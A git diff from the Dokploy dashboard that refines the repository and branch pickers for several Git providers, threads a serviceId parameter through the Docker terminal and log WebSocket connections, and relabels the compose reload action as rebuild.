 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -283,7 +288,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 													<CommandGroup>
 														{repositories?.map((repo) => (
 															<CommandItem
-																value={repo.name}
+																value={`${repo.owner.username}/${repo.name}`}
 																key={repo.url}
 																onSelect={() => {
 																	form.setValue("repository", {
@@ -294,8 +299,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", "");
 																}}
 															>
-																<span className="flex items-center gap-2">
-																	<span>{repo.name}</span>
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">{repo.name}</span>
 																	<span className="text-muted-foreground text-xs">
 																		{repo.owner.username}
 																	</span>
@@ -303,7 +308,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
-																		repo.name === field.value.repo
+																		repo.name === field.value.repo &&
+																			repo.owner.username === field.value.owner
 																			? "opacity-100"
 																			: "opacity-0",
 																	)}
@@ -350,7 +356,10 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -378,7 +387,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx
index 30ca8bd80..a43b257b8 100644
--- a/apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx
+++ b/apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx
@@ -270,14 +270,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 															? "Loading...."
 															: (repositories?.find(
 																	(repo: GiteaRepository) =>
-																		repo.name === field.value.repo,
+																		repo.name === field.value.repo &&
+																		repo.owner.username === field.value.owner,
 																)?.name ?? "Select repository")}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -303,7 +307,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 														{repositories?.map((repo: GiteaRepository) => {
 															return (
 																<CommandItem
-																	value={repo.name}
+																	value={`${repo.owner.username}/${repo.name}`}
 																	key={repo.url}
 																	onSelect={() => {
 																		form.setValue("repository", {
@@ -313,8 +317,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 																		form.setValue("branch", "");
 																	}}
 																>
-																	<span className="flex items-center gap-2">
-																		<span>{repo.name}</span>
+																	<span className="flex min-w-0 items-center gap-2">
+																		<span className="truncate">
+																			{repo.name}
+																		</span>
 																		<span className="text-muted-foreground text-xs">
 																			{repo.owner.username}
 																		</span>
@@ -322,7 +328,9 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 																	<CheckIcon
 																		className={cn(
 																			"ml-auto h-4 w-4",
-																			repo.name === field.value.repo
+																			repo.name === field.value.repo &&
+																				repo.owner.username ===
+																					field.value.owner
 																				? "opacity-100"
 																				: "opacity-0",
 																		)}
@@ -371,7 +379,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -402,7 +413,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx
index fa769ea45..29df617b1 100644
--- a/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx
+++ b/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx
@@ -252,14 +252,19 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 														: isLoadingRepositories
 															? "Loading...."
 															: (repositories?.find(
-																	(repo) => repo.name === field.value.repo,
+																	(repo) =>
+																		repo.name === field.value.repo &&
+																		repo.owner.login === field.value.owner,
 																)?.name ?? field.value.repo)}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -279,7 +284,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 													<CommandGroup>
 														{repositories?.map((repo) => (
 															<CommandItem
-																value={repo.name}
+																value={`${repo.owner.login}/${repo.name}`}
 																key={repo.url}
 																onSelect={() => {
 																	form.setValue("repository", {
@@ -289,8 +294,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", "");
 																}}
 															>
-																<span className="flex items-center gap-2">
-																	<span>{repo.name}</span>
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">{repo.name}</span>
 																	<span className="text-muted-foreground text-xs">
 																		{repo.owner.login}
 																	</span>
@@ -298,7 +303,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
-																		repo.name === field.value.repo
+																		repo.name === field.value.repo &&
+																			repo.owner.login === field.value.owner
 																			? "opacity-100"
 																			: "opacity-0",
 																	)}
@@ -345,7 +351,10 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -373,7 +382,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-gitlab-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-gitlab-provider.tsx
index 6a63611fc..cda3677a0 100644
--- a/apps/dokploy/components/dashboard/application/general/generic/save-gitlab-provider.tsx
+++ b/apps/dokploy/components/dashboard/application/general/generic/save-gitlab-provider.tsx
@@ -272,7 +272,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -310,8 +313,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 																		form.setValue("branch", "");
 																	}}
 																>
-																	<span className="flex items-center gap-2">
-																		<span>{repo.name}</span>
+																	<span className="flex min-w-0 items-center gap-2">
+																		<span className="truncate">
+																			{repo.name}
+																		</span>
 																		<span className="text-muted-foreground text-xs">
 																			{repo.owner.username}
 																		</span>
@@ -368,7 +373,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -396,7 +404,7 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
diff --git a/apps/dokploy/components/dashboard/application/general/show.tsx b/apps/dokploy/components/dashboard/application/general/show.tsx
index 67622662a..0fd1c3542 100644
--- a/apps/dokploy/components/dashboard/application/general/show.tsx
+++ b/apps/dokploy/components/dashboard/application/general/show.tsx
@@ -271,6 +271,7 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
 					<DockerTerminalModal
 						appName={data?.appName || ""}
 						serverId={data?.serverId || ""}
+						serviceId={applicationId}
 					>
 						<Button
 							variant="outline"
diff --git a/apps/dokploy/components/dashboard/application/logs/show.tsx b/apps/dokploy/components/dashboard/application/logs/show.tsx
index 06b257766..52ab40ec4 100644
--- a/apps/dokploy/components/dashboard/application/logs/show.tsx
+++ b/apps/dokploy/components/dashboard/application/logs/show.tsx
@@ -50,9 +50,10 @@ export const badgeStateColor = (state: string) => {
 interface Props {
 	appName: string;
 	serverId?: string;
+	serviceId?: string;
 }
 
-export const ShowDockerLogs = ({ appName, serverId }: Props) => {
+export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
 	const [containerId, setContainerId] = useState<string | undefined>();
 	const [option, setOption] = useState<"swarm" | "native">("native");
 
@@ -182,6 +183,7 @@ export const ShowDockerLogs = ({ appName, serverId }: Props) => {
 					serverId={serverId || ""}
 					containerId={containerId || "select-a-container"}
 					runType={option}
+					serviceId={serviceId}
 				/>
 			</CardContent>
 		</Card>
diff --git a/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx b/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx
index fb9016fb9..460223fa5 100644
--- a/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx
+++ b/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx
@@ -55,12 +55,14 @@ interface Props {
 	appName: string;
 	serverId?: string;
 	appType: "stack" | "docker-compose";
+	serviceId?: string;
 }
 
 export const ShowComposeContainers = ({
 	appName,
 	appType,
 	serverId,
+	serviceId,
 }: Props) => {
 	const { data, isPending, refetch } =
 		api.docker.getContainersByAppNameMatch.useQuery(
@@ -122,6 +124,7 @@ export const ShowComposeContainers = ({
 										key={container.containerId}
 										container={container}
 										serverId={serverId}
+										serviceId={serviceId}
 										onActionComplete={() => refetch()}
 									/>
 								))}
@@ -142,12 +145,14 @@ interface ContainerRowProps {
 		status: string;
 	};
 	serverId?: string;
+	serviceId?: string;
 	onActionComplete: () => void;
 }
 
 const ContainerRow = ({
 	container,
 	serverId,
+	serviceId,
 	onActionComplete,
 }: ContainerRowProps) => {
 	const [logsOpen, setLogsOpen] = useState(false);
@@ -236,6 +241,7 @@ const ContainerRow = ({
 							<DockerTerminalModal
 								containerId={container.containerId}
 								serverId={serverId || ""}
+								serviceId={serviceId}
 							>
 								Terminal
 							</DockerTerminalModal>
@@ -280,6 +286,7 @@ const ContainerRow = ({
 								containerId={container.containerId}
 								serverId={serverId}
 								runType="native"
+								serviceId={serviceId}
 							/>
 						</div>
 					</DialogContent>
diff --git a/apps/dokploy/components/dashboard/compose/general/actions.tsx b/apps/dokploy/components/dashboard/compose/general/actions.tsx
index c2b984b39..b64d1fed9 100644
--- a/apps/dokploy/components/dashboard/compose/general/actions.tsx
+++ b/apps/dokploy/components/dashboard/compose/general/actions.tsx
@@ -84,19 +84,19 @@ export const ComposeActions = ({ composeId }: Props) => {
 				)}
 				{canDeploy && (
 					<DialogAction
-						title="Reload Compose"
-						description="Are you sure you want to reload this compose?"
+						title="Rebuild Compose"
+						description="Are you sure you want to rebuild this compose?"
 						type="default"
 						onClick={async () => {
 							await redeploy({
 								composeId: composeId,
 							})
 								.then(() => {
-									toast.success("Compose reloaded successfully");
+									toast.success("Compose rebuilt successfully");
 									refetch();
 								})
 								.catch(() => {
-									toast.error("Error reloading compose");
+									toast.error("Error rebuilding compose");
 								});
 						}}
 					>
@@ -109,12 +109,14 @@ export const ComposeActions = ({ composeId }: Props) => {
 								<TooltipTrigger asChild>
 									<div className="flex items-center">
 										<RefreshCcw className="size-4 mr-1" />
-										Reload
+										Rebuild
 									</div>
 								</TooltipTrigger>
 								<TooltipPrimitive.Portal>
 									<TooltipContent sideOffset={5} className="z-60">
-										<p>Reload the compose without rebuilding it</p>
+										<p>
+											Rebuilds the compose without downloading the source code
+										</p>
 									</TooltipContent>
 								</TooltipPrimitive.Portal>
 							</Tooltip>
@@ -206,6 +208,7 @@ export const ComposeActions = ({ composeId }: Props) => {
 				appName={data?.appName || ""}
 				serverId={data?.serverId || ""}
 				appType={data?.composeType || "docker-compose"}
+				serviceId={data?.composeId}
 			>
 				<Button
 					variant="outline"
diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx
index ed8bd0a36..7d9325e6e 100644
--- a/apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx
+++ b/apps/dokploy/components/dashboard/compose/general/generic/save-bitbucket-provider-compose.tsx
@@ -258,14 +258,19 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 														: isLoadingRepositories
 															? "Loading...."
 															: (repositories?.find(
-																	(repo) => repo.name === field.value.repo,
+																	(repo) =>
+																		repo.name === field.value.repo &&
+																		repo.owner.username === field.value.owner,
 																)?.name ?? "Select repository")}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -285,7 +290,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 													<CommandGroup>
 														{repositories?.map((repo) => (
 															<CommandItem
-																value={repo.name}
+																value={`${repo.owner.username}/${repo.name}`}
 																key={repo.url}
 																onSelect={() => {
 																	form.setValue("repository", {
@@ -296,8 +301,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", "");
 																}}
 															>
-																<span className="flex items-center gap-2">
-																	<span>{repo.name}</span>
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">{repo.name}</span>
 																	<span className="text-muted-foreground text-xs">
 																		{repo.owner.username}
 																	</span>
@@ -305,7 +310,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
-																		repo.name === field.value.repo
+																		repo.name === field.value.repo &&
+																			repo.owner.username === field.value.owner
 																			? "opacity-100"
 																			: "opacity-0",
 																	)}
@@ -352,7 +358,10 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -380,7 +389,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-gitea-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-gitea-provider-compose.tsx
index cf2742d04..5a3016a28 100644
--- a/apps/dokploy/components/dashboard/compose/general/generic/save-gitea-provider-compose.tsx
+++ b/apps/dokploy/components/dashboard/compose/general/generic/save-gitea-provider-compose.tsx
@@ -255,13 +255,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
 														: isLoadingRepositories
 															? "Loading...."
 															: (repositories?.find(
-																	(repo) => repo.name === field.value.repo,
+																	(repo) =>
+																		repo.name === field.value.repo &&
+																		repo.owner.username === field.value.owner,
 																)?.name ?? "Select repository")}
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -282,7 +287,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
 														{repositories?.map((repo) => (
 															<CommandItem
 																key={repo.url}
-																value={repo.name}
+																value={`${repo.owner.username}/${repo.name}`}
 																onSelect={() => {
 																	form.setValue("repository", {
 																		owner: repo.owner.username,
@@ -291,8 +296,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", "");
 																}}
 															>
-																<span className="flex items-center gap-2">
-																	<span>{repo.name}</span>
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">{repo.name}</span>
 																	<span className="text-muted-foreground text-xs">
 																		{repo.owner.username}
 																	</span>
@@ -300,7 +305,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
-																		repo.name === field.value.repo
+																		repo.name === field.value.repo &&
+																			repo.owner.username === field.value.owner
 																			? "opacity-100"
 																			: "opacity-0",
 																	)}
@@ -348,7 +354,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branches..."
@@ -365,8 +374,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", branch.name)
 																}
 															>
-																<span className="flex items-center gap-2">
-																	{branch.name}
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">
+																		{branch.name}
+																	</span>
 																</span>
 																<CheckIcon
 																	className={cn(
diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx
index c68ba9eaa..56cf4ce3d 100644
--- a/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx
+++ b/apps/dokploy/components/dashboard/compose/general/generic/save-github-provider-compose.tsx
@@ -245,14 +245,19 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 														: isLoadingRepositories
 															? "Loading...."
 															: (repositories?.find(
-																	(repo) => repo.name === field.value.repo,
+																	(repo) =>
+																		repo.name === field.value.repo &&
+																		repo.owner.login === field.value.owner,
 																)?.name ?? field.value.repo)}
 
 													<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -272,7 +277,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 													<CommandGroup>
 														{repositories?.map((repo) => (
 															<CommandItem
-																value={repo.name}
+																value={`${repo.owner.login}/${repo.name}`}
 																key={repo.url}
 																onSelect={() => {
 																	form.setValue("repository", {
@@ -282,8 +287,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", "");
 																}}
 															>
-																<span className="flex items-center gap-2">
-																	<span>{repo.name}</span>
+																<span className="flex min-w-0 items-center gap-2">
+																	<span className="truncate">{repo.name}</span>
 																	<span className="text-muted-foreground text-xs">
 																		{repo.owner.login}
 																	</span>
@@ -291,7 +296,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
-																		repo.name === field.value.repo
+																		repo.name === field.value.repo &&
+																			repo.owner.login === field.value.owner
 																			? "opacity-100"
 																			: "opacity-0",
 																	)}
@@ -338,7 +344,10 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -366,7 +375,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx
index 2c3ce1975..13a1cafc8 100644
--- a/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx
+++ b/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx
@@ -274,7 +274,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search repository..."
@@ -312,8 +315,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
 																		form.setValue("branch", "");
 																	}}
 																>
-																	<span className="flex items-center gap-2">
-																		<span>{repo.name}</span>
+																	<span className="flex min-w-0 items-center gap-2">
+																		<span className="truncate">
+																			{repo.name}
+																		</span>
 																		<span className="text-muted-foreground text-xs">
 																			{repo.owner.username}
 																		</span>
@@ -370,7 +375,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
 												</Button>
 											</FormControl>
 										</PopoverTrigger>
-										<PopoverContent className="p-0" align="start">
+										<PopoverContent
+											className="w-[var(--radix-popover-trigger-width)] p-0"
+											align="start"
+										>
 											<Command>
 												<CommandInput
 													placeholder="Search branch..."
@@ -398,7 +406,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
 																	form.setValue("branch", branch.name);
 																}}
 															>
-																{branch.name}
+																<span className="truncate">{branch.name}</span>
 																<CheckIcon
 																	className={cn(
 																		"ml-auto h-4 w-4",
diff --git a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx
index 4c3067b15..23bb4536d 100644
--- a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx
+++ b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx
@@ -35,9 +35,14 @@ export const DockerLogs = dynamic(
 interface Props {
 	appName: string;
 	serverId?: string;
+	serviceId?: string;
 }
 
-export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
+export const ShowDockerLogsStack = ({
+	appName,
+	serverId,
+	serviceId,
+}: Props) => {
 	const [option, setOption] = useState<"swarm" | "native">("native");
 	const [containerId, setContainerId] = useState<string | undefined>();
 
@@ -167,6 +172,7 @@ export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
 					serverId={serverId || ""}
 					containerId={containerId || "select-a-container"}
 					runType={option}
+					serviceId={serviceId}
 				/>
 			</CardContent>
 		</Card>
diff --git a/apps/dokploy/components/dashboard/compose/logs/show.tsx b/apps/dokploy/components/dashboard/compose/logs/show.tsx
index bc47f1b6e..d7c3c0226 100644
--- a/apps/dokploy/components/dashboard/compose/logs/show.tsx
+++ b/apps/dokploy/components/dashboard/compose/logs/show.tsx
@@ -35,12 +35,14 @@ interface Props {
 	appName: string;
 	serverId?: string;
 	appType: "stack" | "docker-compose";
+	serviceId?: string;
 }
 
 export const ShowDockerLogsCompose = ({
 	appName,
 	appType,
 	serverId,
+	serviceId,
 }: Props) => {
 	const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
 		{
@@ -104,6 +106,7 @@ export const ShowDockerLogsCompose = ({
 					serverId={serverId || ""}
 					containerId={containerId || "select-a-container"}
 					runType="native"
+					serviceId={serviceId}
 				/>
 			</CardContent>
 		</Card>
diff --git a/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx b/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx
index 3a5f460e9..c6cb473e0 100644
--- a/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx
+++ b/apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx
@@ -23,6 +23,7 @@ interface Props {
 	containerId: string;
 	serverId?: string | null;
 	runType: "swarm" | "native";
+	serviceId?: string;
 }
 
 export const priorities = [
@@ -52,6 +53,7 @@ export const DockerLogsId: React.FC<Props> = ({
 	containerId,
 	serverId,
 	runType,
+	serviceId,
 }) => {
 	const { data } = api.docker.getConfig.useQuery(
 		{
@@ -157,6 +159,10 @@ export const DockerLogsId: React.FC<Props> = ({
 			params.append("serverId", serverId);
 		}
 
+		if (serviceId) {
+			params.append("serviceId", serviceId);
+		}
+
 		const wsUrl = `${protocol}//${
 			window.location.host
 		}/docker-container-logs?${params.toString()}`;
@@ -222,7 +228,7 @@ export const DockerLogsId: React.FC<Props> = ({
 				ws.close();
 			}
 		};
-	}, [containerId, serverId, lines, search, since]);
+	}, [containerId, serverId, serviceId, lines, search, since]);
 
 	const handleDownload = () => {
 		const logContent = filteredLogs
diff --git a/apps/dokploy/components/dashboard/docker/terminal/docker-terminal-modal.tsx b/apps/dokploy/components/dashboard/docker/terminal/docker-terminal-modal.tsx
index 62c1347e4..61110d5b4 100644
--- a/apps/dokploy/components/dashboard/docker/terminal/docker-terminal-modal.tsx
+++ b/apps/dokploy/components/dashboard/docker/terminal/docker-terminal-modal.tsx
@@ -23,12 +23,14 @@ interface Props {
 	containerId: string;
 	serverId?: string;
 	children?: React.ReactNode;
+	serviceId?: string;
 }
 
 export const DockerTerminalModal = ({
 	children,
 	containerId,
 	serverId,
+	serviceId,
 }: Props) => {
 	const [mainDialogOpen, setMainDialogOpen] = useState(false);
 	const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
@@ -74,6 +76,7 @@ export const DockerTerminalModal = ({
 					id="terminal"
 					containerId={containerId}
 					serverId={serverId || ""}
+					serviceId={serviceId}
 				/>
 				<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
 					<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>
diff --git a/apps/dokploy/components/dashboard/docker/terminal/docker-terminal.tsx b/apps/dokploy/components/dashboard/docker/terminal/docker-terminal.tsx
index ab47514f9..b4f5e845d 100644
--- a/apps/dokploy/components/dashboard/docker/terminal/docker-terminal.tsx
+++ b/apps/dokploy/components/dashboard/docker/terminal/docker-terminal.tsx
@@ -10,12 +10,14 @@ interface Props {
 	id: string;
 	containerId?: string;
 	serverId?: string;
+	serviceId?: string;
 }
 
 export const DockerTerminal: React.FC<Props> = ({
 	id,
 	containerId,
 	serverId,
+	serviceId,
 }) => {
 	const termRef = useRef(null);
 	const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
@@ -38,7 +40,7 @@ export const DockerTerminal: React.FC<Props> = ({
 		const addonFit = new FitAddon();
 		const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
 
-		const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}`;
+		const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
 
 		const ws = new WebSocket(wsUrl);
 
diff --git a/apps/dokploy/components/dashboard/libsql/general/show-general-libsql.tsx b/apps/dokploy/components/dashboard/libsql/general/show-general-libsql.tsx
index 237a30595..16f2a2423 100644
--- a/apps/dokploy/components/dashboard/libsql/general/show-general-libsql.tsx
+++ b/apps/dokploy/components/dashboard/libsql/general/show-general-libsql.tsx
@@ -229,6 +229,7 @@ export const ShowGeneralLibsql = ({ libsqlId }: Props) => {
 						)}
 						<DockerTerminalModal
 							appName={data?.appName || ""}
+							serviceId={data?.libsqlId}
 							serverId={data?.serverId || ""}
 						>
 							<Button
diff --git a/apps/dokploy/components/dashboard/mariadb/general/show-general-mariadb.tsx b/apps/dokploy/components/dashboard/mariadb/general/show-general-mariadb.tsx
index 0a0e0d9aa..a9b5854a3 100644
--- a/apps/dokploy/components/dashboard/mariadb/general/show-general-mariadb.tsx
+++ b/apps/dokploy/components/dashboard/mariadb/general/show-general-mariadb.tsx
@@ -236,6 +236,7 @@ export const ShowGeneralMariadb = ({ mariadbId }: Props) => {
 							))}
 						<DockerTerminalModal
 							appName={data?.appName || ""}
+							serviceId={data?.mariadbId}
 							serverId={data?.serverId || ""}
 						>
 							<Button
